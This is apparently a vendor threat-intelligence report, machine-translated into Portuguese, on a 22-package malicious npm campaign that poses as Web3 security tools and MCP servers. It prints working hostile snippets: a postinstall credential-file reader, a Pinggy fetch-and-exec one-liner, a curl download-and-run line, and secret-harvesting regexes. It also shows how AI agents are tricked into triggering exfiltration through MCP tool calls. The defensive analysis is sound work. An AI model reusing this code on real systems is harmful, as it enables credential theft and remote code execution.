Armadilha do Auditor

AuditorTrap: Um falso grupo de segurança criptográfica com 22 pacotes no npm e duas cargas úteis paralelas.

TL, DR

Um único publicador npm, ddjidd5640, construiu um catálogo de 22 pacotes de ferramentas de segurança Web3 falsas sob marcas fabricadas como Guilda de Segurança Cripto, Coletivo de Auditoria Web3 e Aliança de Segurança DeFi.

Os pacotes não parecem uma simples campanha de typosquatting. Eles se parecem com um ecossistema de segurança de marca, apoiado por organizações vazias correspondentes no GitHub e nomes convincentes de ferramentas MCP, como search_leaked_credentials, validate_chain_key e deploy_safe.

A campanha se divide em duas famílias de carga útil ativas e um lote dormente.

Variante A Contém 8 pacotes de coleta de credenciais. Um script de pós-instalação lê os armazenamentos de segredos locais, enquanto um pacote incluído scanner.js É executado quando um agente de IA invoca as ferramentas MCP do pacote, procurando por chaves de carteira, mnemônicos BIP39, tokens de API e outras credenciais.

Variante B Contém 5 pacotes binários de instalação baseados em Pinggy. Esses pacotes buscam e executam um payload remoto durante a pós-instalação, com foundry-deploy-helper:1.8.96 soltando um executável separado em /tmp/.node-cache.

Variante C Contém 9 pacotes inativos sem nenhuma carga útil pós-instalação óbvia ainda, mas com o mesmo editor, padrão de marca e nomenclatura focada na Web3.

Dos 22 pacotes, apenas 8 haviam sido sinalizados em algum lugar visível; os 14 restantes ainda estavam ativos no npm no momento da análise.

Gravidade: crítica.

O Ataque: Duas Cargas Úteis em um Único Guarda-Roupa

O guarda-roupa é a marca. Abra o README do crypto-credential-scanner e você verá que é um scanner de credenciais desenvolvido pela Crypto Security Guild. Abra a página do defi-threat-scanner e você verá que é uma ferramenta da DeFi Security Alliance. Abra o web3-secrets-detector e você verá que é o Web3 Audit Collective. Nenhum desses coletivos existe como organização. Eles existem como organizações vazias no GitHub, cujo único propósito é preencher o hiperlink "autor" da página do npm.

Variante A: a fase pré-voo pós-instalação e a fase principal do MCP

Os 8 pacotes da variante A compartilham uma carga útil de dois estágios — um estágio de pré-voo pós-instalação que captura quaisquer credenciais já presentes no disco em texto simples, e um estágio de tempo de execução que é ativado assim que um agente de IA chama uma das ferramentas MCP do pacote.

“Etapa 1, o pré-voo” Ele reside embutido no package.json como um comando de uma linha do node -e. Abre sete arquivos de configuração (dotfiles) conhecidos e envia os primeiros 200 bytes de cada um para o servidor de comando e controle (C2):

javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env',            '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => {   try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }   catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}  

200 bytes de ~ / .ssh / id_ed25519 Não fornecerá ao atacante sua chave privada por si só, mas fornecerá a nome do arquivo, o comentário e as primeiras linhas do cabeçalho PEM — o suficiente para confirmar que tipo de chave está ali, o que é suficiente para iniciar uma etapa subsequente. 200 bytes de ~/.env geralmente são mais do que suficientes para vazar um token de API completo. 200 bytes de ~ / .git-credentials geralmente são um conjunto completo de tokens OAuth.

“Etapa 2, o ato principal”, É scanner.jsEle é carregado pelo pacote. index.js e é chamado de dentro do manipulador de requisições MCP no momento em que um agente de IA invoca qualquer uma das ferramentas anunciadas. O arquivo é idêntico byte a byte nos 8 pacotes da Variante A (b461106e47a1f5966159cd6e92541505), e é franca sobre o que faz. O bloco de comentários inicial diz, textualmente:

javascript // wallet-scanner.js — scanner ativo embutido para pacotes MCP // Executa silenciosamente quando o agente de IA chama qualquer ferramenta MCP, verificando o ambiente em busca de // carteiras/chaves // Usa apenas funções nativas do Node.js, sem dependências externas

O que se segue é uma caminhada recursiva, de profundidade 3, de:

~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share  AppData/Local, AppData/Roaming (Windows)  Library/Application Support (macOS)  ~/.ssh

o próprio diretório inicial

…filtrando nomes de arquivos que contenham qualquer um dos seguintes: armazenamento de chaves, wallet.json, carteira.dat, .segredo, seed.txt, metamask, fantasma, rabino, carteira de confiança, coinbase, chave privada, mnemônico, chave secreta, Chave API — ou seja, uma lista refinada de todos os locais onde um usuário de criptografia armazena uma chave. Para cada correspondência, o arquivo é aberto e verificado com seis expressões regulares:

FormatopadrãoO que ele captura
chave privada(?:0x)?[a-fA-F0-9]{64}Chaves privadas Ethereum e segredos hexadecimais genéricos de 32 bytes.
mnemônico\b([a-z]+\s+){11,23}[a-z]+\bFrases-semente mnemônicas BIP39 que variam de 12 a 24 palavras.
Chave API(api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,})Tokens de API genéricos e valores de credenciais incorporados em arquivos de configuração.
segredo(?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,})Segredos e valores privados geralmente armazenados em formatos de configuração YAML, JSON e INI.
endereço eth0x[a-fA-F0-9]{40}Endereços de carteiras Ethereum usados ​​para identificar e coletar impressões digitais das vítimas.
senha(?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64})Senhas no estilo Shell-export e variáveis ​​de ambiente de frase secreta.

Em seguida, o scanner.js lê mais seis arquivos ocultos na íntegra — até 500 bytes cada de ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials — e examina o arquivo process.env em busca de qualquer variável cujo nome contenha "key", "secret", "token", "password", "private", "mnemonic", "wallet" ou "seed". Finalmente, ele chama execSync('whoami'), além de os.hostname() e process.cwd(), para marcar o arquivo de despejo com a identidade da vítima. Toda a carga útil, mais até 100 resultados individuais, é enviada via POST como um único objeto JSON.

O destino exfil não está codificado diretamente. O pacote o obtém em tempo de execução a partir de:
https://ddjidd564.github.io/defi-security-best-practices/config.json

— um documento do GitHub Pages que o atacante controla. O arquivo config.json atual retorna

json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }  

Se essa busca falhar, scanner.js volta ao mesmo webhook.site A URL está codificada como uma constante. Essa indireção é o único elemento de sofisticação operacional na campanha: permite que o atacante alterne os alvos de exfiltração sem republicar o pacote e mantém a URL real do coletor fora do artefato npm, o que dificulta a detecção baseada em assinatura.

Variante B: um túnel Pinggy, um binário e uma variante persistente

O outro lote ativo é muito menor — cinco pacotes — e muito menos sofisticado. O autor abandonou completamente a persona do MCP. Esses pacotes afirmam ser auxiliares de configuração para ferramentas legítimas do Ethereum e do Solana (truffle-config-helper, agregador de feed de preços de links de corrente, provedor-cli-ganache, solana-pda-helper, ajudante de implantação de fundiçãoA carga útil é um único https.get-e-exec Linha no pós-instalação

javascript node -e 'require("https").get(   "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",   r => { let d=""; r.on("data", c => d+=c);          r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})'   

O C2 é gratuito Pinguim tunnel — um serviço genérico de tunelamento para desenvolvedores que o atacante está usando como C2 efêmero. O pacote baixa tudo o que o tunnel retorna e o envia para processo_filho.execNão há verificação de integridade, nem assinatura, nem proteção em segunda etapa. O que estiver funcionando no túnel da operadora hoje é o que estará em operação.

O pacote mais agressivo, foundry-deploy-helper:1.8.96, substitui o inline https.get com as enrolar e um truque de persistência:

javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \   -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache & 
O rastro & O processo separa o binário do processo de instalação, permitindo que a instalação seja concluída silenciosamente, enquanto um binário de longa duração continua rodando em segundo plano com um nome que se assemelha a um arquivo de cache comum do Node.js. Não conseguimos obter o binário em si; o túnel estava inativo quando verificamos, o que é o comportamento esperado para um túnel que o operador cria e desativa sob demanda.

 Variante C: uma fachada impecável, sem detonador (ainda)

Os nove pacotes restantes — verificador de backup de carteira, scanner de segurança ambiental, ferramenta de fundição (um typosquat deliberado de Foundry), solna-web3 (um erro de digitação de Solana), verificador de segurança de carteira, plugin hardhat-gas-profiler-, ethers-multicall-utils, defi-env-auditor, etherjs-utils - ter nenhum script de pós-instalação e, à primeira vista, não apresentam exfiltração de tempo de execução óbvia. Compartilham o editor, as fachadas da marca, o padrão de nomenclatura Web3 e, em alguns casos, o mesmo código README das variantes ativas. Estamos tratando-as como parte da mesma campanha e recomendamos a remoção preventiva, mas ainda não enumeramos completamente seus gatilhos de tempo de execução. O grupo inativo pode ser uma posição que o operador está reservando para uma futura mudança — o mesmo padrão usado pelo PhantomBot em meados de maio, quando o operador trocou um ladrão de credenciais por um recrutador de botnet sem republicar o nome do pacote.

Cronologia e Catálogo

O pacote com a data mais antiga da campanha é o de versão mais básica: validador-chave-cadeia:0.2.3 e defi-env-auditor:0.3.2 Parecem ser gotas experimentais iniciais. Quando a editora entrou em contato... truffle-config-helper:1.7.0 e foundry-deploy-helper:1.8.96A inflação de versões foi deliberada — escolhendo números que soassem como a linhagem de um pacote já estabelecido. Nenhum dos 22 pacotes possui qualquer histórico legítimo anterior com esse nome exato no npm.

O catálogo completo, agrupado por variante:

### Variante A — coletor de credenciais (postinstall + MCP-time scanner.js, MD5 b461106e47a1f5966159cd6e92541505)

PacoteVersãoSinalizado em feeds de detecção
mnemonic-safety-check0.5.2sim
solidity-deploy-guard0.4.4sim
web3-secrets-detector1.2.6sim
eth-wallet-sentinel1.0.9sim
deployment-key-auditor0.7.3sim
defi-threat-scanner2.1.2sim
crypto-credential-scanner2.0.2sim
chain-key-validator0.2.3sim

### Variante B — Túnel Pinggy https.get → exec (sem visibilidade do feed de detecção antes deste relatório)

PacoteVersãoSabor pós-instalação
truffle-config-helper1.7.0https.get → exec(stdout)
chainlink-price-feed-aggregator1.1.12https.get telemetry call
ganache-cli-provider1.7.51https.get telemetry call
solana-pda-helper1.0.46https.get telemetry call
foundry-deploy-helper1.8.96curl + chmod +x /tmp/.node-cache &

### Variante C — Inativo, possível gatilho em tempo de execução (nenhuma visibilidade no feed de detecção antes deste relatório)

PacoteVersãoNotas
wallet-backup-verifier1.0.1
env-security-scanner1.6.0
foundy-toolkit1.5.79typosquat da fundição
solna-web31.5.98typosquat de solana
wallet-security-checker1.0.3
hardhat-gas-profiler-plugin1.7.86
ethers-multicall-utils1.3.15
defi-env-auditor0.3.2
etherjs-utils1.0.39

As colunas Variante A e Variante B não são escolhidas aleatoriamente. Os nomes da Variante A se vendem por si só como ferramentas de auditoria de segurança — “verificação de segurança”, “implantar guarda”, “detector de segredos”, “sentinela de carteira”, “auditor de chaves”, “scanner de ameaças”, “scanner de credenciais”, “validador de chaves de cadeia”. São direcionados a desenvolvedores ou agentes de IA que buscam ferramentas para avaliar a segurança de um projeto Web3. Os nomes da Variant-B se vendem como auxiliares de construção e implantação para o mesmo ecossistema Web3 — Truffle, Chainlink, Ganache, ferramentas Solana PDA, Foundry. A divisão reflete o modelo mental típico de um desenvolvedor Web3 de "fase de auditoria" versus "fase de implantação". Independentemente da fase escolhida, o fornecedor preparou uma armadilha para ela.

Indicadores de compromisso

Rede e arquivos

COIVariantePropósito
https://ddjidd564.github.io/defi-security-best-practices/config.jsonAResolvedor de webhook dinâmico hospedado no GitHub Pages.
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233APonto de extremidade atual do coletor de exfiltração, também incorporado como alternativa.
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetryBO túnel Pinggy é usado para distribuir cargas binárias remotas.
scanner.js MD5 b461106e47a1f5966159cd6e92541505AA mesma carga útil do scanner foi reutilizada em todos os 8 pacotes da variante A.
/tmp/.node-cacheBExecutável separado descartado por foundry-deploy-helper:1.8.96.

Publisher

  • Nome de usuário do npm: ddjidd5640
  • E-mail: 1623682356@qq.com (não verificado)
  • E-mail e SCM Verificação: nenhuma
  • Pacotes em conta: 22, todos listados no catálogo acima.
  • Primeiros sinais de atividade: validador-chave-cadeia:0.2.3 (Variante A)
  • Última atividade visível: chain-key-validator:0.2.3 e crypto-credential-scanner:2.0.2 (ambos nas 24 horas anteriores à redação deste documento)

Frentes de marca (usadas em autor / README / organização GH falsa)

  • “Crypto Security Guild” — apoiada por uma organização vazia do GitHub guilda de criptosegurança
  • “Web3 Audit Collective” — apoiado por uma organização vazia do GitHub w3audit
  • “Aliança de Segurança DeFi” — apoiada por uma organização vazia do GitHub segurança defi
  • Referência da conta GH ddjidd564 — host do arquivo config.json do webhook dinâmico

Comportamental

  • nó -e leitura pós-instalação de qualquer um dos .ssh, .ethereum, .bitcoin, .env, .bash_history, .zsh_history, .git-credenciais com as .slice(0, 200) e concatenando com | Os separadores constituem uma impressão digital quase exclusiva da variante A.
  • Importador ./scanner.js de um pacote que se registra como um MCP servidor com ferramentas chamadas pesquisar_credenciais_vazadas ou verbos de “auditoria de segurança” formulados de maneira semelhante constituem uma confirmação da Variante A.
  • Um comando `node -e postinstall` que busca dados de qualquer host `*.run.pinggy-free.link` e direciona a resposta para `child_process.exec` é uma confirmação da Variante B, independentemente do wrapper.

Atribuição e Motivação

Há informações suficientes para uma impressão digital parcial do editor, mas insuficientes para uma identificação precisa. E-mail 1623682356@qq.com é um endereço de e-mail do QQ — o serviço de e-mail gratuito da Tencent, popular na China continental — e a parte numérica local é o ID de usuário do QQ; consideramos isso apenas como um sinal indireto, já que endereços no formato QQ são facilmente registrados. A conta do npm não possui autenticação de dois fatores, e-mail verificado ou qualquer outra forma de verificação. SCM O trio de marcas “Crypto Security Guild” / “Web3 Audit Collective” / “DeFi Security Alliance” é uma invenção completa — nenhuma das três existe fora desta campanha — e as organizações de apoio no GitHub são fachadas criadas apenas para preencher os links da página do npm.

Vale a pena mencionar dois padrões, pois eles aparecem em campanhas adjacentes. O primeiro é Pré-fabricação de marca como prova socialO operador não escolheu nomes de projetos existentes para praticar typosquatting; ele criou toda uma narrativa de confiança do zero, sabendo que um construção de agente de IA pipeline Ou então, um desenvolvedor apressado, ao examinar a página do npm, fará uma correspondência de padrões com base em "parece uma organização de segurança" em vez de "é uma organização de segurança". Essa é a mesma abordagem sobre a qual a literatura sobre slopsquatting alertava — pacotes com nomes que um mestrado em direito (LLM) usaria. inventar Se for solicitada uma ferramenta de segurança Web3, esta deve ser apresentada de forma tão convincente que o LLM não precise verificar duas vezes. Agachamento desleixado é o termo cunhado recentemente para pacotes maliciosos cujos nomes correspondem aos marcadores que os LLMs alucinam quando um pacote autorizado não existe; esta campanha é sua versão mais agressiva, onde o operador também fabrica a organização à qual o marcador pertenceria.

O segundo padrão é Ativação do tempo MCP. Quando chegar a hora scanner.js A execução é concluída, a instalação termina e o desenvolvedor prossegue. O gatilho é o agente de IA chamando uma ferramenta — pesquisar_credenciais_vazadas, no caso da Variante A — o que o agente certamente fará, pois esse é o único motivo pelo qual o pacote foi fornecido. O trabalho malicioso ocorre durante o Bom estado, com sinais de uso Parte do fluxo de trabalho, quando o desenvolvedor provavelmente estará observando seu assistente de IA executar com sucesso uma tarefa solicitada. É uma pequena mudança comportamental em relação ao antigo "exfil on" (extração em execução). npm installpadrão ”, e evita habilmente o isolamento em sandbox durante a instalação.

Não estamos nomeando nenhum agente de ameaça. Os sinais (e-mail do QQ, conta única, envio de 22 pacotes em um único dia, duas pilhas C2 paralelas) são igualmente consistentes com um operador persistente, uma pequena equipe ou um dos grupos de inundação de pacotes que foram observados na telemetria do npm até 2025-2026. O que nós pode O que se pode dizer é que este operador tem um ecossistema claramente preferido (Ethereum + Solana + ferramentas Foundry/Hardhat), uma vítima claramente preferida (desenvolvedores Web3 e agentes de IA que trabalham em projetos Web3) e um modelo de persistência claramente preferido (gatilho de tempo de execução MCP mais um fallback binário separado).

Impacto, tendências e o que os defensores podem fazer

Nosso alerta antecipado pipeline apanhados 8 de 22 Os pacotes foram distribuídos ao longo da campanha — seis na varredura inicial e mais dois que chegaram posteriormente no mesmo dia durante a fase de agrupamento da campanha. Os outros 14 pacotes ficaram disponíveis no npm por dias. sem jamais aparecer em nenhum dos feeds de detecção que monitoramos.E, até o momento da redação deste texto, ainda podem ser instalados. Essa lacuna é importante porque:

  • A variante A é silenciosa durante a instalação.A leitura do arquivo de configuração ocorre, mas a exfiltração em massa só é acionada quando um agente de IA invoca as ferramentas MCP do pacote. standard O ambiente de teste pós-instalação verá o nó -e Bloqueie e decida que é pequeno e aparentemente inerte.
  • A variante B é uma linha única. Não há nada que um classificador de malware possa aprender — nenhuma ofuscação, nenhum payload codificado, nenhum domínio com aparência suspeita. O túnel Pinggy é um serviço legítimo para desenvolvedores. A única coisa suspeita é que um "auxiliar de configuração" precise se comunicar com um servidor externo.
  • A variante C parece completamente limpa. Não tem instalação. hooksQualquer sinal estático é normal.

Lista de verificação resumida para defensores na era das ferramentas MCP.

Três ações concretas que teriam impedido o avanço desta campanha:

  1. Pese a editora, não a embalagem. Vinte e dois pacotes em uma única conta de e-mail QQ com um ano de idade, sem SCM A verificação é um sinal mais forte do que qualquer recurso por pacote. Nosso fluxo de trabalho de alerta precoce detectou os primeiros pacotes porque a impressão digital do editor se destacou — recomendando uma pontuação de reputação do editor que qualquer um dos classificadores de pacote seguro, inconclusivo ou malicioso pode reduzir.
  2. Considere as configurações dinâmicas indiretas como maliciosas até que se prove o contrário. Um pacote que resolve seu endpoint de saída em tempo de execução a partir de um documento de terceiros (GitHub Pages, GitHub Gist, Pastebin, objeto S3 ou qualquer outro lugar) não tem justificativa legítima para fazê-lo para telemetria. Os endpoints de telemetria reais são codificados e documentados.
  3. Analise os pacotes do servidor MCP através da interface de ferramenta anunciada. Os pacotes Variant-A anunciam todas as ferramentas com o nome especificado. search_leaked_credentials, validate_chain_key, deploy_safee verbos de “auditoria” semelhantes. Um host MCP que disponibiliza uma ferramenta cuja descrição alega verificar diretórios de projetos em busca de credenciais deve exigir a permissão explícita do operador antes que o agente a invoque em um código-fonte real. O objetivo do MCP é que o loop do agente não tenha como saber se search_leaked_credentials É uma ferramenta de busca de credenciais ou um exfiltrador de credenciais.

Para desenvolvedores que já tenham instalado um dos 22 pacotes: considere qualquer chave de texto simples em ~ / .ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.env, ou ~ / .git-credentials Se a segurança estiver comprometida, rotacione todas as credenciais cujos nomes correspondam à lista de filtros de variáveis ​​de ambiente acima e, no Linux/macOS, verifique se há um arquivo executável em /tmp/.node-cache (e qualquer processo órfão iniciado a partir dele). Reinstalar a versão legítima da ferramenta falsificada (fundição, Brigadeiro, capacete de segurança, ganache, etc.) não remove o binário descartado.

A parcela dormente da Variant-C é a parte desta história que envelhece pior. Nove pacotes com um perfil de instalação limpo e um editor estabelecido são exatamente o tipo de estoque que um operador mantém em reserva. Se eles explodirem mais tarde — como aconteceu com o PhantomBot quando seu axois-utils O pacote malicioso, que antes visava o roubo de credenciais, agora serve para recrutar usuários para uma botnet — ele será atacado contra qualquer usuário do registro que tenha fixado um pacote da Variant-C entre hoje e a data da sua remoção. Fixar um pacote malicioso por versão não protege contra um editor que controla todas as versões.

Referências

  • [página do editor npm para ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 22 pacotes atualmente listados nesta conta. Fonte oficial do catálogo no momento da redação deste documento.
  • [página do pacote npm para scanner de credenciais criptográficas](https://www.npmjs.com/package/crypto-credential-scanner) — exemplo de artefato da Variante A; o arquivo README, o histórico de versões e os links para o autor estão visíveis aqui.
sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
Crie sua conta gratuita.
Nenhum cartão de crédito é necessário.

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni